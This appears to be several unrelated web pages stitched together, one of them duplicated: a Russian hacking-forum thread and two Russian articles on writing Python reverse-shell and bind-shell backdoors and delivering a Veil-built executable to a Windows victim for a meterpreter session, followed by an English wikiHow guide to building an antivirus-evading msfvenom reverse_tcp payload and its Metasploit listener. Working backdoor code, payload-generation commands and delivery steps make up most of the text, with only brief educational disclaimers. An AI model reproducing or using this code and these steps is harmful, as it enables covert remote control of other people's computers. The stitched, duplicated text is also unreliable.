Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.
[*Прошлая часть*]
[Введение]
В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с «задней дверью» подробнее!
Backdoor(или же «запасной ход») — это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell’у).
Так почему же backdoor — черный ход? — спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! — отвечу вам, я)
Кстати, Shell — это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.
Bind Shell — это, когда атакуемая машина играет роль сервера, а машина атакующего — клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell’у.
Reverse Shell — это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell’у.
Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.
*Подробно про Reverse и Bind Shell читать тут)*
[Приступаем к делу]
Что же, сегодня нам понадобятся 3 следующие библиотеки:
- Socket
- Subprocess
- OS
С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.
Subprocess — запускает определенные(заданные вами) процессы.
OS — это модуль, который предназначен для работы с операционной системой.
И так, подключаем данные модули:
Python:
import subprocess
import socket
import os
Далее создаем сокет и осуществляем подключение:
Python:
host = "имя сервера"
port = порт
sock = socket.socket()
sock.connect((host, port))
А теперь не мало важная часть. Это — потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.
Python:
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
И конечно же даем доступ к shell’у(командной оболочке):
Код:
subprocess.call(["bash","-i"])
В итоге получаем backdoor, который получает доступ по принципу Reverse Shell
Python:
import subprocess
import socket
import os
host = 192.168.1.X # server name
port = 9191 #ясно дело порт )
sock = socket.socket()
sock.connect((host, port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["bash", "-i"])
Далее, на атакующей машине остается только запустить сервер. Это делается просто — netcat.
Пропишем следующую команду:
В итоге наблюдаем, что все сработало как нам надо)
А на этом все. Попробуйте написать свой сервер для атакующей машины.
Последнее редактирование: 10.02.2018
-
#2
ай спасибо
п.с. Если можно — выстави тег первой части или ссылку на первую часть, так будет удобнее искать и читать
-
#3
Наконецто!!
Я уж думал что ты забыл про эту тему)
-
#4
Всё. Ошибка с тегом SIZE устранена.
Последнее редактирование: 10.02.2018
-
#5
Всё. Ошибка с тегом SIZE устранена.
от души
-
#6
Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?
MLNK
Mod. Ethical Hacking
-
#7
Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.
-
#8
Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.
Она там есть. В самом начале.
—- Добавлено позже —-
Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?
Модуль socket можно использовать и на Win. Но оно нам надо?
А сам backdoor для linux
Последнее редактирование: 13.02.2018
MLNK
Mod. Ethical Hacking
-
#9
Она там есть. В самом начале.
—- Добавлено позже —-
Модуль socket можно использовать и на Win. Но оно нам надо?
А сам backdoor для linux
Пойду очки протру
—- Добавлено позже —-
Она там есть. В самом начале.
—- Добавлено позже —-
Модуль socket можно использовать и на Win. Но оно нам надо?
А сам backdoor для linux
ты не так понял в первую статью Посмотреть вложение 15746
Последнее редактирование: 13.02.2018
Sasha2401b
-
#10
Доброго времени суток форумчани.
В ответ на статью AL04E, пишу этот комментарий. Статья понятно, была образовательная и для сильно новичков. Я читал гневные отзывы по его первой статье, что скажу, у людей разный опыт в программировании разное образование и т.д., и рассказывать что переменную не так назвали в коде из 10 строк и про плохой тон в разработке, ну это… Ну да ладно.
Код в статье был написан для Linux, а хотелось под Windows. Я должен отметить что backdoor на python это конечно жесть, да и backdoor должен быть скрытным и т.д.. Для backdoorа лучше Си, Сем что то компилируемое, но статьи даются для образовательных целей в данном случаи по сетевой разработке и это в принципе интересный пример да и всё, как реально применять его, это бред.
Скажу сразу, я не профессиональный разработчик, так пишу для себя не большие скрипты автоматизаций на Python. Сокетами сталкивался очень давно на Delphi, если кто помнит, там были компонеты indy и т.д.
Это не reverse, под реверс переделать не составит труда. Пример рабочий. Думаю если cmd, заменить на bash должно работать в Linux, не проверял
Сервер
Python:
#!/usr/bin/python3.5
from socket import *
import subprocess, time
# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)
while True:
conn, addr = sock.accept()
print ('Server connect by ',addr)
while True:
try:
data=conn.recv(1024)
except:
break
if not data:
break
result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)
conn.send(result.stdout)
conn.send(result.stderr)
# Интересный момент, может кто знает, у меня так нормальна не заработало, если conn.close() вынести с тела второго цикла.
# В примерах у того же Лутца, соединения закрывают в теле первого цикла. Ладно буду розбератся
conn.close()
Клиент
Python:
#!/usr/bin/python3.5
from socket import *
while True:
sock=socket(AF_INET,SOCK_STREAM)
# если не на одной машине будите тестить localhost заменить на IP машины где будет сервер запущен
sock.connect(('localhost',9090))
sinst=input ("введите команду: ")
if sinst=='exit1':
break
st=''
for i in sinst:
if i != "~":
st=st+i
else:
st=st+'n'
# Для cmd переход на новую строку - выполнения команды
sinst=st+"n"
sinst=sinst.encode('cp866')
# Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode)
sock.send(sinst)
while True:
try:
data=sock.recv(1024)
except:
break
if not data:
break
print(data.decode('cp866'))
sock.close()
Код простой и кривой явно, и мне он не очень нравится. Почему, из-за этого костыля
Python:
st=''
for i in sinst:
if i != "~":
st=st+i
else:
st=st+'n'
# Для cmd переход на новую строку - выполнения команды
sinst=st+"n"
Я думаю, спецы найдут кривизны полным полно, поковыряем еще, AL04E заинтересовал.
Если есть у кого советы или конкретный замечания (не флуд), пишите, будет легче и быстрее разобраться, не только мне.
Всем спасибо.
—- Добавлено позже —-
client.py
введите команду: cd .. ~ echo blablabla > testfile.txt
сразу выполнится cd.. перейдем в каталог верхнего уровня и там уже вторай командой создадим файл
—- Добавлено позже —-
Переделал код под reverse, проверял уже реверс, сервер Kali Linux, клиент windows 10, все работает. но только ж кодировка cp866 utf-8. в консоли lInux есть не много крякозяблов.
Сервер
Python:
#!/usr/bin/python3.5
from socket import *
# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)
while True:
conn, addr = sock.accept()
print ('Server connect by ',addr)
#получить не последовательность байтов, а строку, то можно воспользоваться методом str.decode
sinst=input ("ведите команду: ")
if sinst=='exit1':
break
st=''
for i in sinst:
if i != "~":
st=st+i
else:
st=st+'n'
# Для cmd переход на новую строку - выполнения команды
sinst=st+"n"
sinst=sinst.encode('cp866')
# Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode)
conn.send(sinst)
while True:
try:
data=conn.recv(1024)
except:
break
if not data: break
print(data.decode('cp866'))
conn.close()
Клиент
Python:
#!/usr/bin/python3.5
from socket import *
import subprocess, time
while True:
sock=socket(AF_INET,SOCK_STREAM)
sock.connect(('localhost',9090))
try:
data=sock.recv(1024)
if not data:break
result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)
except:
break
sock.send(result.stdout)
sock.send(result.stderr)
sock.close()
Последнее редактирование модератором: 18.02.2018
slepoihudoznik
-
#11
я предлагаю добавить авторизацию по «отстукиванию-авторизации» (это уже описывалось ранее, лень ссылку искать) по определенным портам с использованием (задействованием ) незадействованными флагами пакетов , если авторизация прошла успешно то шелл открывает свои дверки .
как тут http s:// www. linux.org. ru/news /security /509918
или тут описано с примерами https :// www. opennet.ru/ base/sec/port_knocking.txt.html
про флаги достаточно интересно описано в книге https :// www. ozon.ru/ context/ detail/id/845773/
Последнее редактирование модератором: 17.03.2018
MyrMyrBl9
-
#12
Отличная статья!
Теперь есть понимание backdoor и reverse/bind атак
Еще раз СПАСИБО за проделанный труд!
-
#13
Спасибо большое автору, он меня очень сильно выручил я использую этот скрипт для создания удаленной машины, но есть один вопрос как сделать так чтобы если появлялась ошибка подключения к серверу он автоматически подключался к другому?
-
#14
у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python3 backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax
При переходе на python2 происходит всё тоже самое :
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax
(Проблему решил оказалось что ip надо брать в кавычки»)
Последнее редактирование: 11.07.2019
-
#15
у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python3 backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntaxПри переходе на python2 происходит всё тоже самое :
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax(Проблему решил оказалось что ip надо брать в кавычки»)
А еще неплохо было бы запускать это через «python3» ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.
-
#16
А еще неплохо было бы запускать это через «python3» ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.
Если присмотритесь к тому как я запускал в первый раз, то можете заметить, что я запускал через python3
FrozenFlames
-
#17
host = 192.168.1.X # server name
это строка выводит мне ошибку
-
#18
host = 192.168.1.X # server name
это строка выводит мне ошибку
Код:
host = "Здесь_должен_быть_адрес_сервера"
-
#19
Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.
Server.py
Python:
# -*- coding: utf-8 -*-
# !/usr/bin/env python3
import socket
import config
import protocol
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((config.host, config.port))
protocol.send(sock, input())
data = protocol.recv(sock)
sock.close()
print(data)
Python:
# -*- coding: utf-8 -*-
# !/usr/bin/env python3
import socket
import threading
from os import listdir, path
import httrack
import config
import protocol
def dl_status_checker(thread, connection):
if thread.isAlive:
protocol.send(connection, "Downloading has started")
else:
protocol.send(connection, "Downloading has FAILED")
def handle_commands(connection, command, params):
if command == "dl":
if params[1] == '0':
params[1] = False
else:
params[1] = True
if not params[1] and len(params) == 2:
params.append(None)
htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2]))
htt_thread.start()
dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection))
dl_status.start()
elif command == "list":
file_list = listdir(config.sites_directory)
folder_list = []
archive_list = []
for file in file_list:
if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache":
folder_list.append(file)
if path.isfile(config.sites_directory + '/' + file) and
(file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"):
archive_list.append(file)
site_string = ""
folder_found = False
if folder_list:
site_string += "List of folders:n" + "n".join(folder_list)
folder_found = True
if archive_list:
if folder_found:
site_string += "n================================================================================n"
site_string += "List of archives:n" + "n".join(archive_list)
if site_string == "":
site_string = "Sites not found!"
protocol.send(connection, site_string)
elif command == "load":
load = ""
for i in range (1, 100000):
load += str(i) + ' '
if i % 1000 == 0:
load += 'n'
protocol.send(connection, load)
else:
protocol.send(connection, "Invalid request")
def args_analysis(connection, args):
args = args.split()
handle_commands(connection=connection, command=args[0], params=args[1:])
Client.py
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((config.host, config.port))
sock.listen(True)
while True:
conn, addr = sock.accept()
print('Connected by ', addr)
data = protocol.recv(conn)
args_analysis(connection=conn, args=data)
Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)
-
#20
Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.
Server.py
Python:
# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import config import protocol sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((config.host, config.port)) protocol.send(sock, input()) data = protocol.recv(sock) sock.close() print(data)
Python:
# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import threading from os import listdir, path import httrack import config import protocol def dl_status_checker(thread, connection): if thread.isAlive: protocol.send(connection, "Downloading has started") else: protocol.send(connection, "Downloading has FAILED") def handle_commands(connection, command, params): if command == "dl": if params[1] == '0': params[1] = False else: params[1] = True if not params[1] and len(params) == 2: params.append(None) htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2])) htt_thread.start() dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection)) dl_status.start() elif command == "list": file_list = listdir(config.sites_directory) folder_list = [] archive_list = [] for file in file_list: if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache": folder_list.append(file) if path.isfile(config.sites_directory + '/' + file) and (file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"): archive_list.append(file) site_string = "" folder_found = False if folder_list: site_string += "List of folders:n" + "n".join(folder_list) folder_found = True if archive_list: if folder_found: site_string += "n================================================================================n" site_string += "List of archives:n" + "n".join(archive_list) if site_string == "": site_string = "Sites not found!" protocol.send(connection, site_string) elif command == "load": load = "" for i in range (1, 100000): load += str(i) + ' ' if i % 1000 == 0: load += 'n' protocol.send(connection, load) else: protocol.send(connection, "Invalid request") def args_analysis(connection, args): args = args.split() handle_commands(connection=connection, command=args[0], params=args[1:]) Client.py sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((config.host, config.port)) sock.listen(True) while True: conn, addr = sock.accept() print('Connected by ', addr) data = protocol.recv(conn) args_analysis(connection=conn, args=data)
Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)
1 это Client.py
2.это Server.py
Кодинг
2,414
Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton
Еще по теме: Как написать сканер портов на Python
Бэкдор на Python
Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.
В информационной безопасности существует два основных типа полезной нагрузки:
- Оболочка (Шелл)
- Обратная оболочка (Реверс шелл)
Оболочки создают сервер непосредственно на целевой машине, к которому может подключиться хакер.
Обратные оболочки состоит из двух частей: клиента и сервера. Клиентский модуль запускаются на целевой машине и самостоятельно подключается к компьютеру хакера.
Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы были использованы личные устройства автора. Использование подобных инструментов без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Поскольку направление исходного соединения было «обратным» (например, от жертвы к злоумышленнику), оболочка получила название обратной оболочки или бэкдор. Далее мы напишем бэкдор на Python. Для понимания, целевой компьютер будет называться жертвой, а машина хакера — атакующим.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
- Получение нашего локального IP и указанного порта.
- Привязка IP-адреса и порта для создания сокета.
- Запуск слушателя.
- Отправка и получение команд в бесконечном цикле.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
# Imports import socket # Getting our local IP and a specified port HOST = ‘127.0.0.1’ # ‘192.168.43.82’ PORT = 8081 # 2222 new_port = input(‘Input Host Port (Blank if default).’) if (new_port != «n»): REMOTE_PORT = new_port # Binding the IP to the Port # Creating a Socket server = socket.socket() server.bind((HOST, PORT)) # Starting the Listener print(‘[+] Server Started’) print(‘[+] Listening For Client Connection …’) server.listen(1) client, client_addr = server.accept() print(f‘[+] {client_addr} Client connected to the server’) # Sending and receiving commands in an infinite loop while True: command = input(‘Enter Command : ‘) command = command.encode() client.send(command) print(‘[+] Command sent’) output = client.recv(1024) output = output.decode() print(f«Output: {output}») |
Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
REMOTE_HOST = ‘127.0.0.1’ REMOTE_PORT = 8081 # 2222 client = socket.socket() |
Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
command = client.recv(1024) command = command.decode() op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) |
Полный код сервера выглядит следующим образом:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
# Imports from ctypes.wintypes import INT import socket import subprocess # Setting Up IP/Sockets REMOTE_HOST = ‘127.0.0.1’ REMOTE_PORT = 8081 # 2222 client = socket.socket() # Initializing Connection print(«[-] Connection Initiating…») client.connect((REMOTE_HOST, REMOTE_PORT)) print(«[-] Connection initiated!») # Runtime Loop while True: print(«[-] Awaiting commands…») command = client.recv(1024) command = command.decode() op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) output = op.stdout.read() output_error = op.stderr.read() print(«[-] Sending response…») client.send(output + output_error) |
Вот пример обратной оболочки в действии:
Запуск сначала сервера, а затем клиента позволит использовать сервер для отправки и получения данных. Полный код см. на GitHub.
С вами были Aleksa Zatezalo и QUASAR. Увидимся в следующей статье!
РЕКОМЕНДУЕМ:
- Пишем троян на Python
- Создаем шифровальщик на Python
- Делаем пейлоад на Python для взлома камеры
- Как использовать pynput для создания кейлоггера на Python
ВКонтакте
OK
Telegram
Viber
Просмотров: 95
В предыдущих уроках мы основательно подготовились к получению подключения с машины жертвы и установку соединения с ней. Мы находимся в режиме ожидания, и если жертва запустит бэкдор, то мы сможем подключиться к ее компьютеру.
Предлагаю протестировать работу бэкдора и проверить, все ли работает. На данном этапе я хотел бы показать довольно примитивный способ доставки бэкдора на компьютер жертвы, но для начала и общего понимания процесса, он необходим. Разумеется, есть более умные и изощренные способы и уловки для передачи бэкдора жертве. О них я поговорю немного позже. В рамках тестирования нашего бэкдора, нам нужно поднять веб-сервер для того, чтобы жертва скачала его на своей машине. Это делается достаточно просто, но этот способ на 99% является нерабочим в реальных условиях. Еще раз повторяю, мы тестируем бэкдор на актуальность работы.
Kali Linux и Parrot Security OS идут с веб-сервером, и это значит, что Вы можете использовать эти машины в качестве веб-сайтов. Нам нужно загрузить бэкдор на веб-сайт и загрузить его с машины на Windows. В Kali Linux директория, где хранятся файлы веб-сайта расположена по адресу: «var / www/ html». И для наглядности я создал дополнительную директорию под бэкдор, которую назвал «evil»:
В Parrot Security OS путь будет идентичным. Для бэкдоров в экспериментальных целях, я назвал директорию «evil-files»:
Как Вы помните из предыдущих уроков, я скопировал бэкдор «kali_linux_2019.exe» на рабочий стол в Parrot Security OS. Его мне нужно перенести на машину Kali Linux. Этот «финт ушами» я делаю для экономии времени, так как фреймворк Veil у меня не установлен на Kali. К слову сказать, установка ничем не отличается, так что можете перейти к первому уроку и инсталлировать себе инструмент.
Копирование осуществляется с помощью функции Drag and Drope. Откроем директорию /home на Kali и просто перетащим файл:
Можно было конечно сразу переместить его в директорию веб-сайта, но я решил сделать дополнительный шаг, скопировав бэкдор из директории /home в директорию «/var/www/html/evil/
»:
На этом манипуляции с перемещением файлов завершены и можно уже запускать сервер на Kali Linux. Для его запуска нужно прописать команду в терминале, которая будет иметь вид «service apache2 start
»:
После запуска я рекомендую просмотреть состояние сервера с помощью команды «service apache2 status
»:
Все актуально, и можем выйти, нажав клавишу «q».
Мы произвели все настройки бэкдора и сервисов. Теперь можно перейти в нашу машину на Windows. В моем случае я использую Windows 7, но не важно, так как подойдет для эксперимента любая система семейства Windows, в том числе и Windows 10. Итак, переходим в браузер и вводим в адресной строке ip-адрес Kali Linux. Это запись «10.0.2.5/»:
Переходим в директорию «evil/». Как Вы помните, я создал эту директорию для тестирования бэкдоров. Вводим «10.0.2.5/evil/»:
Нас интересует файл «kali_linux_2019.exe». Скачиваем его на рабочий стол, для наглядности:
Запускаем файл двойным щелчком мыши, и в всплывающем окне жмем «Запустить»:
Переходим в машину на Kali Linux и видим в терминале открывшуюся сессию «meterpreter»:
Но возникнет проблема того, что meterpreter не активируется, а сессия открыта, как в моем случае. В этой ситуации нужно приостановить сессию с помощью комбинации клавиш «Ctrl+C»:
Далее ввести команду для просмотра сессий: «sessions -l»:
Мы видим активную сессию с Id: 1. Нам нужно выбрать ее с помощью команды: «sessions -i 1»:
Все отлично, meterpreter корректно отображается.
По сути сейчас у нас есть полный доступ над этим компьютером. Meterpreter позволяет делать то же самое, что может делать пользователь со своей машиной. Бэкдор исправно работает и давайте выполним команду «help», чтобы посмотреть перечень некоторых команд meterpreter:
Повторю, что мы взломали этот компьютер, и у нас есть полный доступ к нему.
С этим у меня все, всем хорошего дня.
Первая часть про бэкдоры.
Вторая часть про бэкдоры.
Третья часть про бэкдоры.
Четвертая часть про бэкдоры.
Download Article
Download Article
A backdoor is used to bypass security mechanisms, often secretly and mostly undetectably. Using MSFvenom, the combination of msfpayload and msfencode, it’s possible to create a backdoor that connects back to the attacker by using reverse shell TCP. In order to develop a backdoor, you need to change the signature of your malware to evade any antivirus software. Complete this project on a pair of computers that you have permission to access, and in the process, you’ll learn more about computer security and how this kind of backdoor works.
-
1
Start up Kali and fire up the Terminal console.
-
2
Type ifconfig to display the interface and check your IP address.
Advertisement
-
3
Type msfvenom -l encoders to show the list of encoders.
- You will use x86/shikata_ga_nai as the encoder.
-
4
Type «msfvenom -a x86 —platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b «x00» -e x86/shikata_ga_nai -f exe > helloWorld.exe
- -a x86 --platform windows designates architecture to use.
- -p windows/shell/reverse_tcp designates the payloads to embed.
- LHOST designates the listener IP address.
- LPORT designates the listener port.
- -b "x00" designates to avoid bad character (null bytes).
- -e x86/shikata_ga_nai designates the encoders name.
- -f exe > helloWorld.exe designates format output.
-
5
Type msfconsole to activate the Metasploit.
- Now you have generated your backdoor. When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system. In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads.
-
6
Type use exploit/multi/handler.
-
7
Type set payload windows/shell/reverse_tcp.
-
8
Type show options to check the module.
-
9
Type set LHOST 192.168.48.129.
- «LHOST» designates the listener IP address.
-
10
Type set LPORT 4444.
- «LPORT» designates the listener port.
-
11
Type run and wait for the connection from victim’s machine.
-
12
Wait for the victim to click on helloWorld.exe. Then you will be successfully connected to the victim’s machine.
Advertisement
Add New Question
-
Question
What do I do if an error pops up when creating the exploit?
MOHMMD ELFA
Community Answer
Make sure you did everything correctly and try again. Make sure your are running Kali Linux.
Ask a Question
200 characters left
Include your email address to get a message when this question is answered.
Submit
Advertisement
-
Using -i <numbers> in MSFvenom will represent the iterations the encoding. Sometimes more iterations may help to evade the AV software.
-
You have learned how to generate the backdoor and encoded by using MSFvenom, but this method will not work perfectly against some of the AV software nowadays. The reason behind this is because of the execution templates in MSFvenom. The AV vendors have added the static signature of these templates and just look for them. The solution for this issue is to use a different execution template or different tools.
Thanks for submitting a tip for review!
Advertisement
-
This article is for educational purpose only. Hacking without authorization or permission is unethical and often illegal.
Advertisement
Things You’ll Need
- Kali Linux
- Windows
-
Virtual machine
- VirtualBox
- VMware
References
About This Article
Thanks to all authors for creating a page that has been read 100,909 times.
Is this article up to date?
Download Article
Download Article
A backdoor is used to bypass security mechanisms, often secretly and mostly undetectably. Using MSFvenom, the combination of msfpayload and msfencode, it’s possible to create a backdoor that connects back to the attacker by using reverse shell TCP. In order to develop a backdoor, you need to change the signature of your malware to evade any antivirus software. Complete this project on a pair of computers that you have permission to access, and in the process, you’ll learn more about computer security and how this kind of backdoor works.
-
1
Start up Kali and fire up the Terminal console.
-
2
Type ifconfig to display the interface and check your IP address.
Advertisement
-
3
Type msfvenom -l encoders to show the list of encoders.
- You will use x86/shikata_ga_nai as the encoder.
-
4
Type «msfvenom -a x86 —platform windows -p windows/shell/reverse_tcp LHOST = 192.168.48.129 LPORT=4444 -b «x00» -e x86/shikata_ga_nai -f exe > helloWorld.exe
- -a x86 --platform windows designates architecture to use.
- -p windows/shell/reverse_tcp designates the payloads to embed.
- LHOST designates the listener IP address.
- LPORT designates the listener port.
- -b "x00" designates to avoid bad character (null bytes).
- -e x86/shikata_ga_nai designates the encoders name.
- -f exe > helloWorld.exe designates format output.
-
5
Type msfconsole to activate the Metasploit.
- Now you have generated your backdoor. When the victim clicks on helloWorld.exe, the shell payload that is embedded will be activated and make a connection back to your system. In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads.
-
6
Type use exploit/multi/handler.
-
7
Type set payload windows/shell/reverse_tcp.
-
8
Type show options to check the module.
-
9
Type set LHOST 192.168.48.129.
- «LHOST» designates the listener IP address.
-
10
Type set LPORT 4444.
- «LPORT» designates the listener port.
-
11
Type run and wait for the connection from victim’s machine.
-
12
Wait for the victim to click on helloWorld.exe. Then you will be successfully connected to the victim’s machine.
Advertisement
Add New Question
-
Question
What do I do if an error pops up when creating the exploit?
MOHMMD ELFA
Community Answer
Make sure you did everything correctly and try again. Make sure your are running Kali Linux.
Ask a Question
200 characters left
Include your email address to get a message when this question is answered.
Submit
Advertisement
-
Using -i <numbers> in MSFvenom will represent the iterations the encoding. Sometimes more iterations may help to evade the AV software.
-
You have learned how to generate the backdoor and encoded by using MSFvenom, but this method will not work perfectly against some of the AV software nowadays. The reason behind this is because of the execution templates in MSFvenom. The AV vendors have added the static signature of these templates and just look for them. The solution for this issue is to use a different execution template or different tools.
Thanks for submitting a tip for review!
Advertisement
-
This article is for educational purpose only. Hacking without authorization or permission is unethical and often illegal.
Advertisement
Things You’ll Need
- Kali Linux
- Windows
-
Virtual machine
- VirtualBox
- VMware
References
About This Article
Thanks to all authors for creating a page that has been read 100,909 times.